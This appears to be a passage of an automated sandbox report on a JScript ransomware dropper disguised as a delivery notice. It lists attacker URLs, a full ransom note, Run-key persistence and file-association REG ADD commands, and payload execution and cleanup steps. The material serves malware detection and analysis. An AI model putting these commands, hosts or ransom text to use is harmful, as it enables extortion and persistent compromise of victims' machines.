Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/174_91.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/185_479.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/215_944.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/341_349.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/662_460.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550753313.0000018C8F659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/814_239.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/971_401.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550753313.0000018C8F659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru/img/987_908.jpg
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://schema.org

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Spam, unwanted Advertisements and Ransom Demands

Writes a notice file (html or txt) to demand a ransom

Source: C:\Windows\System32\wscript.exe	File dropped: C:\Users\user\AppData\Local\Temp\a.txt -> decryptor: http://xn--80adi0bdhdbmg.xn--p1ai/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://jpnovo.ru/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://lacampagnetropicana.com/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://cestasgabrasil.com.br/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://radostdetym.ru/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn5. run decryptor to restore your files.please remember: - if you do not pay in 3 days you loose all your files. - nobody can help you except us. - it`s useless to reinstall windows, update antivirus software, etc. - your files can be decrypted only after you make payment. - you can find this manual on your desktop (decrypt.txt).			Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File dropped: C:\Users\user\Desktop\DECRYPT.txt -> decryptor: http://xn--80adi0bdhdbmg.xn--p1ai/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://jpnovo.ru/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://lacampagnetropicana.com/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://cestasgabrasil.com.br/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn http://radostdetym.ru/counter/?a=1jxsxybzejjrjqdbvngty7d8kefaxmgmdn5. run decryptor to restore your files.please remember: - if you do not pay in 3 days you loose all your files. - nobody can help you except us. - it`s useless to reinstall windows, update antivirus software, etc. - your files can be decrypted only after you make payment. - you can find this manual on your desktop (decrypt.txt).			Jump to dropped file

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior

Source: Delivery_Notification_00000260791.doc.js

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"

Source: classification engine

Classification label: mal100.rans.evad.winJS@44/18@6/3

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\counter[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7516:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user~1\AppData\Local\Temp\a1.exe

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Delivery_Notification_00000260791.doc.js

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\Desktop\DECRYPT.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user~1\AppData\Local\Temp\a.exe "C:\Users\user~1\AppData\Local\Temp\a.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\notepad.exe notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\php4ts.dll"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user~1\AppData\Local\Temp\a.txt
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user~1\AppData\Local\Temp\a.txt
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\Desktop\DECRYPT.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user~1\AppData\Local\Temp\a.exe "C:\Users\user~1\AppData\Local\Temp\a.php"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.php"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\php4ts.dll"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\notepad.exe notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
